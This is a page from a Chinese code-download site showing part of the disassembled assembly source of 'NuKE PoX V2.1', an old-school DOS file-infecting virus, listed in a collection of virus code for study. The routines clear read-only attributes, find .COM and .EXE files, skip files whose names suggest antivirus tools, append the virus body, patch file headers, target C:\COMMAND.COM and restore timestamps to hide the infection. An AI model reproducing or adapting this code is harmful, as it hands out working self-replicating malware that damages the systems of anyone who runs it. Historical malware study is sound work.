⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v21.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		pop	di
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
loc_38:
		call	sub_15
		jc	loc_36			; Jump if carry Set
		call	sub_16
		call	sub_13
		jmp	short loc_36
sub_5		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_6		proc	near
		mov	ah,40h			; '@'
		mov	dx,103h
		mov	cx,696h
		call	sub_2
		jc	loc_39			; Jump if carry Set
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		jc	loc_39			; Jump if carry Set
		clc				; Clear carry flag
		retn
loc_39:
		stc				; Set carry flag
		retn
sub_6		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_7		proc	near
		push	ax
		push	bx
		push	cx
		push	dx
		push	ds
		mov	ax,4300h
		call	sub_2
		test	cl,1
		jz	loc_40			; Jump if zero
		and	cl,0FEh
		mov	ax,4301h
		call	sub_2
		jc	loc_41			; Jump if carry Set
loc_40:
		mov	ax,3D02h
		call	sub_2
		jc	loc_41			; Jump if carry Set
		mov	bx,ax
		call	sub_12
		jnz	loc_41			; Jump if not zero
		call	sub_17
loc_41:
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_7		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_8		proc	near
		push	si
		push	cx
		mov	si,dx
		mov	cx,256h

locloop_42:
		cmp	byte ptr [si],2Eh	; '.'
		je	loc_43			; Jump if equal
		inc	si
		loop	locloop_42		; Loop if cx > 0

loc_43:
		cmp	word ptr [si+1],4F43h
		jne	loc_44			; Jump if not equal
		cmp	byte ptr [si+3],4Dh	; 'M'
		je	loc_46			; Jump if equal
loc_44:
		cmp	word ptr [si+1],6F63h
		jne	loc_45			; Jump if not equal
		cmp	byte ptr [si+3],6Dh	; 'm'
		je	loc_46			; Jump if equal
loc_45:
		pop	cx
		pop	si
		stc				; Set carry flag
		retn
loc_46:
		pop	cx
		pop	si
		clc				; Clear carry flag
		retn
sub_8		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_9		proc	near
		push	si
		push	cx
		mov	si,dx
		mov	cx,256h

locloop_47:
		cmp	byte ptr [si],2Eh	; '.'
		je	loc_48			; Jump if equal
		inc	si
		loop	locloop_47		; Loop if cx > 0

loc_48:
		cmp	word ptr [si+1],5845h
		jne	loc_49			; Jump if not equal
		cmp	byte ptr [si+3],45h	; 'E'
		je	loc_51			; Jump if equal
loc_49:
		cmp	word ptr [si+1],7865h
		jne	loc_50			; Jump if not equal
		cmp	byte ptr [si+3],65h	; 'e'
		je	loc_51			; Jump if equal
loc_50:
		pop	cx
		pop	si
		stc				; Set carry flag
		retn
loc_51:
		pop	cx
		pop	si
		clc				; Clear carry flag
		retn
sub_9		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_10		proc	near
		push	bx
		push	cx
		mov	cl,0Ch
		shl	dx,cl			; Shift w/zeros fill
		xchg	ax,bx
		mov	cl,4
		shr	bx,cl			; Shift w/zeros fill
		and	ax,0Fh
		add	dx,bx
		pop	cx
		pop	bx
		retn
sub_10		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_11		proc	near
		push	si
		push	cx
		mov	si,dx
		mov	cx,256h

locloop_52:
		cmp	byte ptr [si],2Eh	; '.'
		je	loc_53			; Jump if equal
		inc	si
		loop	locloop_52		; Loop if cx > 0

loc_53:
		cmp	word ptr [si-2],4E41h
		jne	loc_54			; Jump if not equal
		cmp	word ptr [si-4],4353h
		je	loc_57			; Jump if equal
loc_54:
		cmp	word ptr [si-2],4E41h
		jne	loc_55			; Jump if not equal
		cmp	word ptr [si-4],454Ch
		je	loc_57			; Jump if equal
loc_55:
		cmp	word ptr [si-2],544Fh
		jne	loc_56			; Jump if not equal
		cmp	word ptr [si-4],5250h
		je	loc_57			; Jump if equal
loc_56:
		pop	cx
		pop	si
		clc				; Clear carry flag
		retn
loc_57:
		pop	cx
		pop	si
		stc				; Set carry flag
		retn
sub_11		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_12		proc	near
		mov	ax,5700h
		call	sub_2
		mov	al,cl
		or	cl,1Fh
		dec	cx
		xor	al,cl
		retn
sub_12		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_13		proc	near
		push	bx
		push	cx
		mov	cl,7
		shl	dx,cl			; Shift w/zeros fill
		mov	bx,ax
		mov	cl,9
		shr	bx,cl			; Shift w/zeros fill
		add	dx,bx
		and	ax,1FFh
		jz	loc_58			; Jump if zero
		inc	dx
loc_58:
		pop	cx
		pop	bx
		mov	cs:data_22,ax
		mov	cs:data_24,dx
		mov	ah,40h			; '@'
		mov	dx,77Eh
		mov	cx,1Bh
		call	sub_2
		retn
sub_13		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_14		proc	near
		pushf				; Push flags
		push	ax
		push	bx
		push	cx
		push	dx
		push	ds
		push	es
		push	ss
		push	sp
		push	cs
		pop	ds
		mov	dx,74Bh
		mov	ax,4300h
		call	sub_2
		jc	loc_60			; Jump if carry Set
		test	cl,1
		jz	loc_59			; Jump if zero
		and	cl,0FEh
		mov	ax,4301h
		call	sub_2
		jc	loc_62			; Jump if carry Set
loc_59:
		mov	ax,3D02h
		call	sub_2
loc_60:
		jc	loc_62			; Jump if carry Set
		mov	bx,ax
		call	sub_12
		jz	loc_62			; Jump if zero
		mov	data_18,cx
		mov	data_19,dx
		mov	ah,3Fh			; '?'
		mov	cx,3
		mov	dx,77Eh
		call	sub_2
		jc	loc_61			; Jump if carry Set
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		jc	loc_62			; Jump if carry Set
		mov	cx,ax
		sub	cx,3
		mov	data_20,cx
		call	sub_6
		jc	loc_62			; Jump if carry Set
		mov	ah,40h			; '@'
		mov	dx,760h
		mov	cx,3
		call	sub_2
loc_61:
		mov	cx,data_18
		mov	dx,data_19
		mov	ax,5701h
		call	sub_2
		mov	ah,3Eh			; '>'
		call	sub_2
loc_62:
		pop	sp
		pop	ss
		pop	es
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		popf				; Pop flags
		retn
sub_14		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_15		proc	near
		mov	cx,cs:data_28
		mov	cs:data_13,cx
		mov	cx,cs:data_29
		mov	cs:data_14,cx
		mov	cx,cs:data_27
		mov	cs:data_15,cx
		mov	cx,cs:data_26
		mov	cs:data_16,cx
		push	ax
		push	dx
		call	sub_10
		sub	dx,cs:data_25
		mov	word ptr cs:data_12,dx
		push	ax
		push	dx
		call	sub_6
		pop	dx
		pop	ax
		mov	cs:data_29,dx
		mov	cs:data_28,ax
		pop	dx
		pop	ax
		retn
sub_15		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_16		proc	near
		add	ax,696h
		adc	dx,0
		push	ax
		push	dx
		call	sub_10
		sub	dx,cs:data_25
		add	ax,40h
		mov	cs:data_26,dx
		mov	cs:data_27,ax
		pop	dx
		pop	ax
		retn
sub_16		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_17		proc	near
		dec	cx
		mov	cs:data_18,cx
		mov	cs:data_19,dx
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		mov	cx,dx
		mov	dx,ax
		push	cx
		push	dx
		sub	dx,1Bh
		sbb	cx,0
		mov	ax,4200h
		call	sub_2
		push	cs
		pop	ds
		mov	ah,3Fh			; '?'
		mov	cx,1Bh
		mov	dx,77Eh
		call	sub_2
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		mov	ax,4200h
		call	sub_2
		mov	ah,40h			; '@'
		mov	dx,77Eh
		mov	cx,1Bh
		cmp	cs:data_21,5A4Dh
		je	loc_64			; Jump if equal
		mov	cx,3
loc_64:
		call	sub_2
		pop	dx
		pop	cx
		sub	dx,696h
		sbb	cx,0
		mov	ax,4200h
		call	sub_2
		mov	ah,40h			; '@'
		xor	cx,cx			; Zero register
		call	sub_2
		mov	cx,cs:data_18
		mov	dx,cs:data_19
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	ah,3Eh			; '>'
		call	sub_2
		retn
sub_17		endp

		db	'C:\COMMAND.COM'
		db	0
data_18		dw	0
data_19		dw	0
		db	 00h, 00h,0E9h
data_20		dw	9090h
		db	'NuKE PoX V2.1 - Rock Steady'
data_21		dw	0CD90h			; Data table (indexed access)
data_22		dw	20h
data_24		dw	0
		db	0, 0
data_25		dw	0
		db	0, 0, 0, 0
data_26		dw	0
data_27		dw	0
		db	0, 0
data_28		dw	0
data_29		dw	0
		db	0, 0, 0

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -